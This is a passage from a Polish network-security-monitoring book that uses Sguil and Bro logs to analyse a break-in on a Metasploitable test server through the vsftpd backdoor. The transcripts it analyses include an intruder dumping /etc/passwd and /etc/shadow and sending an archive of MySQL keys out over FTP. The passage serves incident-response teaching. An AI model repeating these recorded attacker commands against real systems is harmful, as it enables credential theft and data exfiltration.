pieczenistwa — co sprawia, ze jest to idealne narzedzie do testowania efektyw-
nosci systeméw wykrywania.
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Widocznie ktos, kto pracuje w firmie Vivian's Pets, pobral system Metasplo-
itable, zainstalowal go w sieci testowej i pozostawil go dostepnym z internetu.
Wlamywacz o adresie TP 203.0.113.10 znalazl ten komputer, wykorzystal luke
bezpieczenstwa pracujacego na nim serwera vsftpd i zebrat informacje o klu-
czowych wlasciwosciach komputera.

Uzyskanie dostepu do danych uwierzytelniajgcych

W ostatniej czesci transkryptu widzimy, ze wlamywacz kieruje swojg uwage na
pliki, w ktérych przechowywane sg dane uwierzytelniajgce uzytkownikéw, jak
pokazano na listingu 10.9.

Listing 10.9. Przeglgdanie zawartosci plikéw [etc/passwd i [etc/shadow

SRC: cat '/etc/passwd'@®;echo nRVObgMSefnPCATjIfCKrtCxyxAFwbXo
SRC:

DST: root:x:0:0:root®:/root:/bin/bash

DST: daemon:x:1:1:daemon:/usr/sbin:/bin/sh

DST: bin:x:2:2:bin:/bin:/bin/sh

DST: sys:x:3:3:sys:/dev:/bin/sh

DST: sync:x:4:65534:sync:/bin:/bin/sync

... wycieto . . .

DST:

DST: nRVObgMSefnPCA1jIfCKrtCxyxAFwbXo

SRC: cat '/etc/shadow®';echo YMIULmTNrfStudFPMoeddbhSAwYHGUKY
DST: root:$1$/avpfBJI1$x0z8w5UF9Iv. /DRIEILid.:14747:0:99999:7::: @
DST: daemon:*:14684:0:99999:7:::

DST: bin:*:14684:0:99999:7:::

DST: sys:$1$TUX6BPOt$Miyc3Up0zQJiqz4s5wFD910:14742:0:99999:7:::
DST: sync:*:14684:0:99999:7:::

... wycieto . . .

DST:

DST: CKNszVzdeRiiApmbrdHsuAoTRXRtIFfF

SRC: ping -c 1 www.google.com®

SRC:

SRC: pwd

SRC:

DST: ping: unknown host www.google.com®

DST:

W koricowej czesci transkryptu wlamywacz wyswietla zawartosé dwéch kluczo-
wych plikéw systemu: /etc/passwd @ i Jetc/shadow ©. Plik /etc/passwd zawiera
informacje o uzytkownikach, takich jak root @, a plik /etc/shadow — zaszyfrowane
hasta uzytkownikéw @. Transkrypt konczy sie, gdy wlamywacz lub jego skrypt
proébuje pingowaé adres www.google.com @, co konczy sie niepowodzeniem ©.

Niepokojacy jest fakt, ze wlamywacz listuje pliki /etc/passwd i /etc/shadow
zawierajace nazwy uzytkownikéw systemu i ich zaszyfrowane hasta. Jesli ztamie
te hasta, bedzie mégl uzyska¢ bezposredni dostep do systemu i nie bedzie przy
tym musial wlamywaé sie do niego przy uzyciu eksploitu.

Wiemy teraz catkiem duzo o tym przypadku, ale czy to koniec historii?
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Co jeszcze zrobit wlamywacz?

Aby dowiedzieé sie nieco wiecej o tym, co sie zdarzyto, musimy przyjrzeé sie
dokladniej dwém innym aspektom tego przypadku. Zauwazmy, ze komputer
192.168.3.5 nie byt jedynym celem wlamywacza kryjacego sie za adresem
203.0.113.10. Widzimy takze dzialania dotyczace portéw TCP 21 i 6200 komputera
192.168.3.13. Generujemy transkrypt dla portu TCP 21, by zobaczyé, co sie zda-
rzyto w zwiazku z komputerem 192.168.3.13. Listing 10.10 pokazuje uzyskany

wynik.

Listing 10.10. Transkrypt potgczenia FTP nawigzanego przez komputer 203.0.113.10 z hostem

192.168.3.13

Sensor Name:
Timestamp:
Connection ID:
Src IP:

Dst IP:

Src Port:

Dst Port:

sovm-ethl
2013-03-09 21:46:37
.sovm-ethl 1362865597000002352
203.0.113.10 (Unknown)
192.168.3.13® (Unknown)
49220
21®

0S Fingerprint: -> 192.168.3.13:21 (1ink: ethernet/modem)

DST: 220 (vsFTPd 2.3.5) ©

DST:

SRC: USER 1dxF:) @

SRC:

DST: 331 Please specify the password.

DST:

SRC: PASS 0ibjz

SRC:

DST: 530 Login incorrect®.

DST:
DST: 500 OOPS:

DST: vsf_sysutil_recv_peek: no data

DST:

Widzimy, ze wlamywacz sprébowal tego samego ataku z u§miechnietag buzka
O przeciw serwerowi FTP (@ i ©®) na hoscie 192.168.3.13 @, ale w odpowiedzi
otrzymal nieprzyjemny komunikat o bledzie Login incorrect (logowanie niepra-
widlowe) ©. Atak sie nie powiédl. Co wiecej, zgodnie z danymi sesji systemu
NSM nie zostaly ustanowione zadne polaczenia z portem TCP 6200 na komputerze
192.168.3.13, co méwi nam, Ze host 192.168.3.13 nie ucierpial na skutek tego ataku.

Teraz musimy ustalié, co jeszcze moglo sie przydarzyé¢ komputerowi
192.168.3.5. Widzielismy, jak wlamywacz potaczyl sie z serwerem FTP i wszedt
w interakcje z furtka. Czy zrobit cos ponadto? Aby odpowiedzie¢ na to pytanie,
wykonujemy nowa kwerende danych sesji, wyszukujac wszystkie sesje dotyczace
ofiary o adresie 192.168.3.5, jak pokazano na listingu 10.11. Wyniki zostaly przed-
stawione na rysunku 10.11.
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Listing 10.1|. Sktadnia klauzuli wyszukujqgcej dane sesji dotyczqce adresu 192.168.3.5

WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip = INET_ATON('192.168.3.5')
AND dst_port!=137 AND dst port!=138

- L _SGUIL-0.8.0 - Connected Tolocalhost e E
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserlD: 2 2013-03-13 21:42:34 GMT,

RealTime Events] Escalated Euems] Sancp Query 1 ] Sancp Query 2 ] Sancp Query 3 1 Sancp Query 4 ]

Close |[INDEX(p_key) INNER JOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start_time >'2013-03-09' AND sancp.src_ip = INET_ATON('192.168.3.5") and
dst_port!=137 and dst_port|=138 ) UNION ( SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end_time,
Export  JINET_NTOA(sancp.src_ip), sancp.src_port, INET_NTOA(sancp.dst_ip), sancp.dst_port, sancp.ip_proto, sancp.src_pkts, sancp.src_bytes, sancp.dst_pkts,

cIP Dst 1P
sovm-eth1 5.1362864858000002...  2013-03-0921:34:18  2013-03-0921:34:18 203.0.113.10 395 192.168.3.5 i 6 6 244 4
sovm-eth1 5.1362864858000002...  2013-03-09 21:34:18  2013-03-0921:34:18  203.0.113.10 497 192.168.3.5 2049 6 6 244 4
sovm-eth1 5.1362864858000002...  2013-03-09 21:34:18  2013-03-0921:34:18  203.0.113.10 524 192.168.3.5 513 6 3 148 3
sovm-eth1 5.1362864858000002...  2013-03-0921:34:18  2013-03-0921:34:18 203.0.113.10 647 192.168.3.5 2049 6 8 352 5
sovm-eth1 5.1362864858000002...  2013-03-0021:34:18  2013-03-0921:34:18 203.0.113.10 683 192.168.3.5 2049 6 8 352 5
sovm-eth1 5.1362864858000002...  2013-03-00 21:34:18  2013-03-0921:34:18 203.0.113.10 719 192.168.3.5 m 6 6 244 4
sovm-eth1 5.1362864858000002...  2013-03-09 21:34:18  2013-03-09 21:34:48  203.0.113.10 853 192.168.3.5 1524 6 7 252 5
sovm-eth1 5.1362864858000002...  2013-03-0921:34:18  2013-03-0921:3418 203.0.113.10 916 192.168.3.5 1 6 6 244 4
sovm-eth1 5.1362864858000002...  2013-03-0921:34:18  2013-03-0921:34:18 203.0.113.10 927 192.168.3.5 i 6 6 244 4
sovm-eth1 5.1362864858000002...  2013-03-0921:34:18  2013-03-0921:34:18 203.0.113.10 997 192.168.3.5 2049 6 8 352 5
sovm-eth1 5.1362864858000002...  2013-03-09 21:34:18  2013-03-0921:34:23  192.168.3.5 48092  192.168.3.1 53 173 102 ]
sovm-eth1 5.1362865118000002...  2013-03-09 21:38:38  2013-03-0921:38:38  203.0.113.10 40206  192.168.3.5 6200 6 il 40 1
sovm-eth1 5.1362865118000002...  2013-03-0921:38:38  2013-03-0921:43:38 203.0.113.10 50376 192.168.3.5 21 6 8 261 8
sovm-eth1 5.1362865118000002...  2013-03-0921:38:38  2013-03-0921:47:28 203.0.113.10 60155 192.168.3.5 6200 6 1317 65447 1449
sovm-eth1 5.1362865235000002...  2013-03-0021:40:35  2013-03-09 21:40:40  192.168.3.5 60307 192.168.3.1 53 oo 100 0
sovm-eth1 5.1362865628000002...  2013-03-09 21:47:08  2013-03-0921:47:13  192.168.3.5 36911 192.168.3.1 53 dloes 80 o
sovm-eth1 5.1362865638000002...  2013-03-0921:47:18  2013-03-0921:47:23 192.168.3.5 49467  192.168.3.1 53 Y2 104 0
sovm-eth1 5.1362880783000002...  2013-03-1001:5%:43  2013-03-1002:00:43 203.0.113.77 0 192.168.3.5 0 1 2 128 2
sovm-eth1 5.1362880870000002...  2013-03-1002:01:10  2013-03-1002:03:24 203.0.113.77 65438 192.168.3.5 22 6 309 19145 207
sovm-eth1 5.1362880872000002...  2013-03-1002:01:12  2013-03-1002:01:17 192.168.3.5 51268 192.168.3.1 53 Iy 102 o
sovm-eth1 5.1362880970000002...  2013-03-1002:02:50  2013-03-1002:03:15 192.168.3.5 32904 203.0.113.4 21 6 23 878 17
sovm-eth1 5.1362880986000002...  2013-03-1002:03:06  2013-03-1002:03:06 203.0.113.4 20 192.168.3.5 33012 6 587 18792 639
sovm-eth1 5.1362880991000002...  2013-03-1002:03:11  2013-03-1002:03:11 203.0.113.4 20 192.168.3.5 56377 6 4 769 3
sovm-eth1 5.1362959491000006...  2013-03-1023:51:31  2013-03-1023:51:37 192.168.3.5 1009 203.0.113.10 35347 6 6 192 0 -

Rysunek 10.1 1. Dane sesji dotyczqce adresu 192.168.3.5

Kup ksigzke

Uruchamiajac te kwerende, dodalem polecenia zignorowania portéw 137 i 138,
poniewaz kiedy po raz pierwszy przegladalem te dane, zobaczylem wiele nie-
istotnych rekordéw sesji dotyczacych ustug systemu Windows wykorzystuja-
cych te porty. Poniewaz nie sa one zwigzane z tym incydentem, usunalem je
z danych wyjsciowych pokazanych na rysunku 10.11.

Widzielismy czesé tej aktywnosci we wezesniejszych wynikach, ale tym razem
w centrum naszej uwagi bedzie host 192.168.3.5, a nie komputer 203.0.113. 10.
Najbardziej interesujace z nowych rekordéw dotyczg nowych adreséw IP w bloku
adres6w sieci 203.0.113.0/24, a mianowicie adres6w 203.0.113.77 i 203.0.113.4.
Te dwa adresy IP pojawiajg sie w rekordach sesji, poczawszy od czasu 2013-03-10
01:59:43. Najwidoczniej nasz pierwotny wlamywacz albo wspélpracuje z kole-
gami, albo sam steruje tymi systemami!

Zalecam sporzadzenie przynajmniej hipotetycznych diagraméw systemow,
ktorych dotycza operacje NSM, kiedy prébuje sie zrozumie¢ zakres incydentu.
Nie zidentyfikujesz catej infrastruktury istniejacej miedzy systemami, ktére padty
ofiara ataku, i zdalnymi napastnikami, ale wizualne ich przedstawienie moze
pomoéc w lepszym rozpoznaniu tego, co sie dzieje, w przypadkach dotyczacych
$wiata realnego. Rysunek 10.12 podsumowuje nasze aktualne rozeznanie w kwe-
stii wszystkich system6w zwigzanych z tym przypadkiem.
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Wiamywacz 1
203.0.113.10

Wiamywacz 3
203.0113.4

Wihamywacz 2
203.0113.77

Siec
testowa

Tap

Serwer
192.168.3.5

Desktop
192.168.3.13

Rysunek 10.12. Systemy zaobserwowane w omawianym przypadku

Eksploracja danych sesji

Przeanalizujmy nowe sesje wydobyte przez kwerende oparta na adresie IP ofiary
w celu ustalenia zakresu incydentu, majac w glowie prosta regute: jedynym
stalym elementem w operacjach NSM jest ofiara. Wlamywacze moga prébowaé
zaciemnia¢ swoje dzialania przez zmiany atakujacych systeméw, przeskakiwanie
z jednej atakujacej platformy na drugg; reagujacy na incydent, ktérzy przywiazuja
sie na state do adres6w IP napastnika, przeoczg te skoki. Skup sie na ofierze, a nie
zostaniesz oszukany.

Zauwaz na rysunku 10.11, Ze rozpoczynamy analize od trzech zapytaii DNS
wystanych przez komputer 192.168.3.5, zaczynajacych sie od znacznika czasu
2013-03-09 21:40:35. Moglibysmy uzy¢ konsoli Sguil, by sprébowaé¢ wygene-
rowa¢ dane wyjsciowe programu Wireshark dla kazdej sesji w celu obejrzenia
zapytan i odpowiedzi, ale zamiast tego odwotamy sie do dziennikéw DNS z danymi
przechwyconymi przez Bro, przechowywanych w katalogu /nsm/bro/logs/2013-
03-09. Jak zobaczysz, dzienniki aplikacji Bro to forma danych transakcji i meta-
danych.

Przeszukiwanie dziennikéw DNS aplikacji Bro

Istnieje wiele sposobéw przeszukiwania dziennikéw DNS aplikacji Bro pod
katem okreslonych zapiséw. Jeden prosty sposéb polega na wykorzystaniu wier-
sza polecen, co pokazano na listingu 10.12.
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Listing 10.12. Rekordy DNS zarejestrowane przez Bro

$ zcat dns.21\:31\:10-22\:00\:00.T0g.gz | bro-cut -d | grep 192.168.3.5 |
grep -v WORKGROUP

... wycieto . . .

2013-03-09T21:40:35+0000 k3hPbeds2H2 192.168.3.50 60307
192.168.3.1 53 udp 40264 2.3.168.192.in-addr.arpa® 1
C_INTERNET 12 PTR® - - F F T F
0 --

2013-03-09T21:47:08+0000 ilzTudrfvvk 192.168.3.50@ 36911
192.168.3.1 53 udp 62798 www.google.com® 1

C_INTERNET 1 A - - F F T F
0 - -

2013-03-09T21:47:18+0000 H5Wjg7kx02d 192.168.3.50 49467
192.168.3.1 53 udp 32005 www.google.com.localdomain®@ 1
C_INTERNET 1 A - - F F T F
0 --

Najpierw uzywamy polecenia zcat, poniewaz dziennik aplikacji Bro jest
skompresowany w formacie gzip. Nastepnie przesylamy wynik (stosujac mecha-
nizm zwany potokiem) na wejscie polecenia bro-cut z opcjg -d, ktére prze-
ksztatca rodzimy dla aplikacji Bro format czasu uniksowego na wersje czytelng
dla czlowieka. Nastepnie wybieramy rekordy zawierajace adres IP ofiary
192.168.3.5 za pomocy polecenia grep, po ktérym nastepuje kolejne polecenie
grep powodujace zignorowanie (na skutek uzycia opcji -v) wszystkich rekordéw
zawierajacych stowo WORKGROUP. Dziennik aplikacji Bro zawiera zapytania i odpo-
wiedzi DNS, jak réwniez rekordy dotyczace ruchu zwigzanego z ustuga nazw
protokotu NetBIOS, ktére zostajg odfiltrowane przez polecenie bro-cut -d.
Domyslnie ta skladnia pomija nagléwki pél tych rekordéw.

Jak wida¢ na listingu 10.12, komputer 192.168.3.5 @ wyslal zapytanie doty-
czace rekordu PTR @ dla 2.3.168.192.in-addr.arpa ©, ktére prawdopodobnie nie
jest zwigzane z wlamaniem. Nastepnie, siedem minut pézniej, system @ i @ wystal
zapytania dla nazwy domenowej www.google.com @ i www.google.com.
localdomain @. Te dwa ostatnie zapytania DNS odpowiadaja podjetej przez
wlamywacza prébie pingowania adresu www.google.com. Zobaczenie nagltéwka
w dziennikach Bro moze nam pomoc lepiej je zrozumieé. Jednym ze sposob6w
zobaczenia danych nagléwka jest unikniecie filtrowania danych wyjsciowych przez
program bro-cut. W zamian ograniczymy ilosé danych wyjsciowych, uzywajac
polecenia head, jak pokazano na listingu 10.13.

Listing 10.13. Pola i typy danych w dzienniku DNS aplikacji Bro

$ zcat dns.21\:31\:10-22\:00\:00.10g.gz | head
#separator \x09

#set_separator ,

#empty field (empty)

#unset_field -

#path  dns

#open  2013-03-09-21-31-10
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#fields ts uid id.orig_h id.orig_p id.resp_h

id.resp_p proto  trans_id query qclass qclass_name qtype
qtype_name rcode  rcode_name AA TC RD RA Z
answers TTLs

#types time string addr port addr port enum count  string
count  string count string count string bool bool bool bool
count  vector[string] vector[interval]

Przeszukiwanie dziennikéw SSH aplikacji Bro

Po trzech rekordach DNS rysunek 10.11 pokazuje komputer 203.0.113.77 pin-
gujacy adres 192.168.3.5 przy uzyciu protokotu ICMP reprezentowanego przez
kod 0 w nagléwku IP. Jest to poczatek ruchu pochodzacego z komputera
203.0.113.77.

Nastepny rekord pokazuje ruch z komputera 203.0.113.77 do portu TCP 22
na hoscie 192.168.3.5. Jest to prawdopodobnie ruch SSH, co mozemy potwier-
dzi¢ przez zerkniecie na pelne dane lub sprawdzenie kilku dziennikéw aplikacji
Bro. Na przyktad plik ssh.log znajdujacy sie w katalogu 2013-02-10 zawiera pozycje
przedstawiong na listingu 10.14. (Zauwaz, ze jesli chcemy zobaczy¢ nagléwki
pol, unikamy uzycia programu bro-cut, tak jak zrobilismy w przypadku listingu
10.13). Listing pokazuje caly dziennik, jako ze zawiera on tylko jedng interesu-
jaca nas pozycje.

Listing 10.14. Potqczenie SSH zarejestrowane w dzienniku aplikacji Bro

$ zcat ssh.02\:03\:29-03\:00\:00.10g.9z | bro-cut -d
2013-03-10T02:01:10+0000 8zAB2nsjjYd 203.0.113.77@®@ 65438
192.168.3.50 22 success INBOUND SSH-2.0-OpenSSH_5.8p2_hpnl3vll
FreeBSD-20110503 SSH-2.0-OpenSSH_4.7pl Debian-8ubuntul 16678 AU

Listing 10.14 pokazuje komputer 203.0.113.77 @, polaczony za pomocg pro-
tokotu SSH z hostem 192.168.3.5 @.

Aby zrozumie¢ znaczenie pozostalych pél, musimy zna¢ nagtéwki z tego pliku
dziennika. Listing 10.15 pokazuje nagléwki w dzienniku SSH aplikacji Bro poprze-
dzajace ten sam rekord SSH dotyczacy komputera 203.0.113.77 laczacego sie
z hostem 192.168.3.5.

Listing 10.15. Potqczenie SSH zarejestrowane w dzienniku aplikacji Bro z nagtéwkami

§ zcat ssh.02\:03\:29-03\:00\:00.10g.9z
#separator \x09

#set _separator ,

#empty field (empty)

#unset_field -

#path  ssh

#open  2013-03-10-02-03-29
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#fields ts uid id.orig_h id.orig_p id.resp_h

id.resp_p status direction client server resp size
remote_Tocation.country code remote_Tocation.region remote_location.city
remote_Tlocation.latitude remote_location.longitude

#types time string addr port addr port string enum string
string count string string string double double

1362880870.544761 8zAB2nsjjYd 203.0.113.77 65438
192.168.3.5 22 success INBOUND SSH-2.0-OpenSSH 5.8p2_hpnl3vll
FreeBSD-20110503@ SSH-2.0-OpenSSH_4.7pl Debian-8ubuntul® 16678 AU

#close 2013-03-10-03-00-00

Najbardziej interesujace sa pola serwera i klienta. Klient zostal opisany jako
SSH-2.0-0penSSH_5.8p2_hpn13vll FreeBSD-20110503 @, a serwer jako SSH-2.0-
>-0penSSH_4.7pl Debian-8ubuntul @. Podczas gdy mozesz fatwo zidentyfikowaéd
wersje serwera protokotu SSH, poniewaz jestes wlascicielem tego systemu, infor-
macja o tym, ze klient (wlamywacz) uzywa systemu FreeBSD, moze by¢ intere-
sujaca. Znajomo$¢ doktadnej wersji oprogramowania OpenSSH zainstalowanej
w systemie klienta (czyli znéw wlamywacza) moze takze poméc Ci w przypisaniu
ataku do sprawcy lub w powigzaniu go z innymi danymi dotyczacymi incydentu.

Niestety tresé sesji SSH jest zaszyfrowana, co oznacza, ze nie mozesz jej
rozszyfrowaé przy uzyciu §rodkéw skoncentrowanych na sieci. Jesli w systemie
byloby zainstalowane narzedzie skoncentrowane na hoscie, takie jak OSSEC,
mogibys mie¢ dane z lokalnego systemu dostepne do inspekeji, ale rekordy sesji
pokazuja, ze sesja SSH rozpoczeta sie w czasie 2013-03-10 02:01:10 i zakonczyla
sie w czasie 02:03:24. Czy mozemy stwierdzié, co takiego wltamywacz zrobit
w ramach tej zaszyfrowanej sesji? Kilka ostatnich rekordéw sesji pomaga nam
odpowiedzieé na to pytanie.

Przeszukiwanie dziennikow FTP aplikacji Bro

Na rysunku 10.11 w czasie 2013-03-10 02:02:50 widzimy wychodzaca sesje
FTP z adresem zrédlowym 192.168.3.5 i docelowym 203.0.113.4. Jesli jest to
naprawde sesja FTPE, powinni§my by¢ w stanie utworzy¢ transkrypt, aby zoba-
czyé jej zawarto$é. Mozemy takze szybko sprawdzi¢, co zawiera dziennik FTP
aplikacji Bro, jak pokazano na listingu 10.16.

Listing 10.16. Dziennik FTP aplikacji Bro

$ zcat ftp.02\:03\:11-03\:00\:00.T0g.9z
#separator \x09

#set_separator ,

#empty field (empty)

#unset_field -

#path  ftp®
#open  2013-03-10-02-03-11
#fields ts uid id.orig_h id.orig_p id.resp_h
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id.resp p user password command arg mime_type

mime_desc

file_size reply_code reply msg tags extraction_file

#types time string addr port addr port string string string
string string string count count string table[string] file
1362880986.113638 FVmgK1dpQ05 192.168.3.5© 32904

203.0.113.40 21 orr <hidden> STOR ftp://203.0.113.4/./
mysql-ssl.tar.gz@® application/x-gzip gzip compressed data, from

FAT filesystem (MS-DOS, 0S/2, NT) - 226 Transfer complete.

#close 2013-03-10-03-00-00

Widzimy tu, ze kto$ skutecznie dokonal transferu pliku o nazwie mysql-ssl.tar.gz
® za pomocy aplikacji FTP @ z komputera 192.168.3.5 © na komputer
203.0.113.4 @. Transkrypt zawiera nieco wiecej informacji, co pokazano na
listingu 10.17.

Listing 10.17. Transkrypt utworzonego przez wiamywacza kanatu polecer FTP
prowadzqcego do hosta 203.0.113.4

Sensor Name: sovm-ethl

Timestamp: 2013-03-10 02:02:50
Connection ID: .sovm-ethl 1362880970000002980
Src IP: 192.168.3.5 (Unknown)

Dst IP: 203.0.113.4 (Unknown)

Src Port: 32904

Dst Port: 21

0S Fingerprint: 192.168.3.5:32904 - Linux 2.6 (newer, 1) (up: 5 hrs)
0S Fingerprint: -> 203.0.113.4:21 (distance 0, Tink: ethernet/modem)

DST: 220 freebsdvm® FTP server (Version 6.00LS) ready.
DST:

SRC: USER orr®

SRC:

DST: 331 Password required for orr.

DST:

SRC: PASS bobby®

SRC:

DST: 230 User orr Tlogged in.

DST:

SRC: SYST

SRC:

DST: 215 UNIX Type: L8 Version: BSD-199506@
DST:

SRC: TYPE I

SRC:

DST: 200 Type set to I.

DST:

SRC: PORT 192,168,3,5,128,244
SRC:

DST: 200 PORT command successful.
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DST:

SRC: STOR mysql-ssl.tar.gz

SRC:

DST: 150 Opening BINARY mode data connection for 'mysql-ssl.tar.gz'.
DST:

Lubie tego faceta. Jego hasto to bobby @, a nazwa uzytkownika to orr @. Ten
serwer FTP jest uruchomiony na platformie, ktéra przedstawia sie sama jako
freebsdvm ©, z systemem operacyjnym UNIX Type L8 Version: BSD-199506 @.
Jak przedtem, moglibysmy wykorzysta¢ te informacje, aby ewentualnie skojarzy¢
ten przypadek z innymi, jesli bytaby taka potrzeba.

Nie wiemy jednak, co zrobit wtamywacz, aby zdoby¢ zawartosé tego pliku.
Czy mozemy ustalié, co sie w nim znajduje?

Dekodowanie kradziezy wrazliwych danych

Faktycznie, mozemy odzyskaé archiwum mysql-ssl.targz dzieki zbieraniu pel-
nych danych wykonywanemu przez nasza platforme NSM. Wydobedziemy dane
wyodrebnione z pelnych danych przy uzyciu narzedzia Tepflow (hitps://github.
com/simsong/tcpflow), ktérego Sguil uzywa do rekonstrukeji transkryptow. Pierw-
sza wersje programu Tepflow napisal Jeremy Elson, ale w ostatnich latach odpo-
wiedzialno$¢ za ten projekt przejal Simson Garfinkel.

Narzedzie Tepflow rekonstruuje sesje TCP Dla przykladu, co pokazano na
listingu 10.18, nakazujemy programowi Tepflow wykonanie rekonstrukeji wszyst-
kich sesji TCP dotyczacych portu 20, tj. portu TCP uzywanego do ustanowienia
aktywnego kanatu danych protokolu FTP pokazanego w rekordach ses;ji.

Listing 10.18. Rekonstrukcja sesji dotyczqcych portu 20 wykonana za pomocq narzedzia Tcpflow

$ tcpflow -r /nsm/sensor_data/sovm-ethl/dailylogs/2013-03-10/snort.log.1362873602

port 200
$ 1s®

192.168.003.005.33012-203.000.113.004.00020©® 203.000.113.004.00020-
192.168.003.005.56377@

report.xml ©

$ file *0

192.168.003.005.33012-203.000.113.004.00020@: gzip compressed data, from Unix, last
modified: Sun Mar 10 02:02:23 2013
203.000.113.004.00020-192.168.003.005.56377@®: ASCII text, with CRLF line terminators

report.xml:

XML document text

$ cat 203.000.113.004.00020-192.168.003.005.56377

total 1936
drwxr-xr-x
drwxr-xr-x
-rw-r--r--
-rw-r--r--
-rw-r--r--

Kup ksigzke

2
4
1
1
1

orr orr 512 Mar 9 21:03 .

root wheel 512 Mar 9 20:47 ..

orr orr 1016 Mar 9 20:47 .cshrc

orr orr 254 Mar 9 20:47 .login

orr orr 165 Mar 9 20:47 .Togin_conf
orr orr 381 Mar 9 20:47 .mail_aliases
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-rW-r--r--
—rW-r--r--

SrW-r--r--
—rW-r--r--

orr orr 338 Mar 9 20:47 .mailrc

orr orr 750 Mar 9 20:47 .profile

orr orr 283 Mar 9 20:47 .rhosts

orr orr 980 Mar 9 20:47 .shrc

orr orr 915349 Mar 9 21:03 mysql-ssl.tar.gz®

Listing 10.18 pokazuje najpierw, jak uruchomié¢ Tepflow na bazie interesuja-
cego §ladu z filtrem BPF ograniczajacym rekonstrukcje do ruchu dotyczacego
portu 20 @. Potem widzimy dane wyjsciowe wykonanej przez Tepflow rekon-
strukcji w formie listingu katalogu @®. Dane wyjsciowe pokazujg dwie strony sesji
sieciowe]j w formie dwoch plikéw (© i @) oraz plik report.xml © opisujacy czyn-
nosci wykonane przez Tepflow. Nastepnie uzywamy polecenia file @, aby poka-
za¢ typ kazdego z tych plikéw.

Wyodrebnianie skradzionego archiwum

Plik 192.168.003.005.33012-203.000.113.004.00020 @ to archiwum gzip prze-
stane w trakcie sesji FTP. Plik 203.000.113.004.00020-192.168.003.005.56377 ©
jest tekstowym plikiem ASCII odpowiadajacym listingowi katalogu zwréconemu
przez serwer FTP klientowi 192.168.3.5. Ten listing katalogu zostal przestany
po skopiowaniu przez wlamywacza pliku mysql-ssl.tar.gz na serwer. Jest to potwier-
dzenie udanego transferu archiwum mysql-ssl.tar.gz ©, poniewaz ten plik zostat
wylistowany — a wiec jest przechowywany — na serwerze FTP kontrolowa-
nym przez wlamywacza. To bytoby zla wiadomoscig dla firmy Vivian's Pets, jesli
ten plik to archiwum z wrazliwa zawartoscia.

Dzieki przechwytywaniu pelnych danych my takze mamy do dyspozycji
kopie pliku mysql-ssl.tar.gz. Archiwum gzip reprezentowane przez plik
192.168.003.005.33012-203.000.113.004.00020 @ jest prawdopodobnie plikiem
mysql-ssl.tar.gz skradzionym przez wlamywacza. Wyodrebniamy jego zawarto$é
przy uzyciu programu tar, co pokazano na listingu 10.19. Jak widzisz, okazuje sie,
ze archiwum zawiera klucze zwigzane z serwerem MySQL.

Listing 10.19. Zawartos¢ archiwum mysql-ssl.tar.gz skradzionego przez wtamywacza

§ tar -xzvf 192.168.003.005.33012-203.000.113.004.00020
mysql-ss1/

mysql-ss1/yass1-1.9.8.zip
mysql-ss1/my.cnf
mysql-ss1/mysqld.gdb
mysql-ss1/mysql-keys/
mysql-ss1/mysql-keys/server-cert.pem
mysql-ss1/mysql-keys/ca-cert.pem
mysql-ss1/mysql-keys/client-req.pem
mysql-ss1/mysql-keys/server-key.pem
mysql-ss1/mysql-keys/server-req.pem
mysql-ss1/mysql-keys/client-key.pem
mysql-ss1/mysql-keys/client-cert.pem
mysql-ss1/mysql-keys/ca-key.pem
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Majac te dane w swoich rekach, zespst CIRT firmy Vivian's Pets musi podsu-
mowac to, co sie wydarzylo, aby w pelni zrozumie¢ wlamanie.

Retrospekcja

W tym punkcie procesu NSM zesp6ét CIRT powinien przemys§lec¢ to, co wie o wla-
maniu, zanim przedstawi swoje zalecenia wlascicielom biznesu. Wykorzystanie
ilustracji do przedstawienia tego, co si¢ zdarzylo na kazdym etapie, to pozyteczne
analityczne posuniecie.

Podsumowanie pierwszego etapu

Rysunek 10.13 zawiera podsumowanie pierwszych kilku faz tego wlamania, ktére
mozemy nazwacé pierwszym etapem.

1. Wlamywacz przeprowadza
rekonesans dwdch potencjalnych ofiar

Ofiara 1
Wiamywacz 1 SKANOWANIE SIECIOWE 192.168.3.5
________________ >
203.0.113.10 Ofiara 2
192.168.3.13
2. Wlamywacz wykorzystuje luke bezpieczenstwa
w ustudze vsftpd w systemie Ofiary 1 Ofiara 1
192.168.3.5
Wiamywacz 1 POLACZENIE SIECIOWE
203.0.113.]0 T s >
Wykorzystana
luka
bezpieczenstwa
3. Wlamywacz taczy sie z furtkg w systemie Ofiary 1
Wiamywacz 1 POLACZENIE SIECIOWE Ofiara 1
203.0.113.]0 T s > 192.168.3.5
4. Wkamywaczowi nie udaje sie wykorzystac luki
bezpieczenstwa w ustudze vsftpd w systemie Ofiary 2 Ofara 2
Wiamywacz 1 POLACZENIE SIECIOWE 192.168.3.13

203.0.113.]0 T s >
Bezpieczna

Rysunek 10.13. Pierwszy etap naruszenia bezpieczeristwa po stronie serwera

W ramach pierwszego etapu wlamywacz o adresie 203.0.113.10 przeprowa-
dzit rekonesans dwéch komputeréw: 192.168.3.5 i 192.168.3.13. Wlamywacz
odkryt, ze port TCP 21 nastuchuje na obydwu systemach, wiec starat sie naruszy¢
bezpieczenstwo tej ustugi na obydwu komputerach stanowiagcych cel ataku. Udalo
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mu sie naruszy¢ bezpieczenstwo serwera vsftpd na komputerze 192.168.3.5,
powodujac otwarcie przy uzyciu furtki potaczenia na porcie TCP 6200 tego sys-
temu. Nie potrafil jednak przy uzyciu tej samej techniki uzyska¢ nieautoryzo-
wanego dostepu do systemu 192.168.3.13.

Podsumowanie drugiego etapu

Rysunek 10.14 zawiera podsumowanie pozostalych dziatain wykonanych w ramach
tego wlamania, ktére nazwiemy drugim etapem.

5. Wlamywacz 2 taczy sie przez SSH z Ofiara 1

POLACZENIE SSH

Wlamywacz2 ~  TERARSEEESSN - Ofiara 1
203.0.113.77 192.168.3.5
6. Wlamywacz 2 zleca Ofierze 2 przestanie skradzionych
danych na serwer FTP na systemie Wtamywacza 3
Wimywacz2 —  POLACZENESSH . -
203.0.113.77
Ofiara 1
192.168.3.5

Wiamywacz 3
203.0.113.4

Rysunek 10.14. Drugi etap naruszenia bezpieczenstwa po stronie serwera

Na tym etapie nowy wlamywacz o adresie IP 203.0.113.77 faczy sie za pomoca
SSH z hostem 192.168.3.5. Podczas interakcji z ofiarg wtamywacz utworzyt lub
odnalazt archiwum o nazwie mysql-ssl.tar.gz. Nastepnie przestat to archiwum za
pomocg FTP na trzeci system o adresie 203.0.113.4, ktéry moze by¢ jeszcze jed-
nym systemem FreeBSD.

Kolejne kroki

